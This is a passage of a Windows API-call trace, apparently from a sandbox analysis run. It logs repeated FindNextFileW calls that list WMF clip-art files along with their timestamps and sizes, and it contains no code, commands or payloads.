dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0270.824] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0270.824] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0270.824] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0271.678] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0271.679] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0272.597] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0272.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0272.604] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0272.604] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0272.604] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0273.259] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0273.259] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0273.259] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0273.259] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0273.259] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0273.260] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 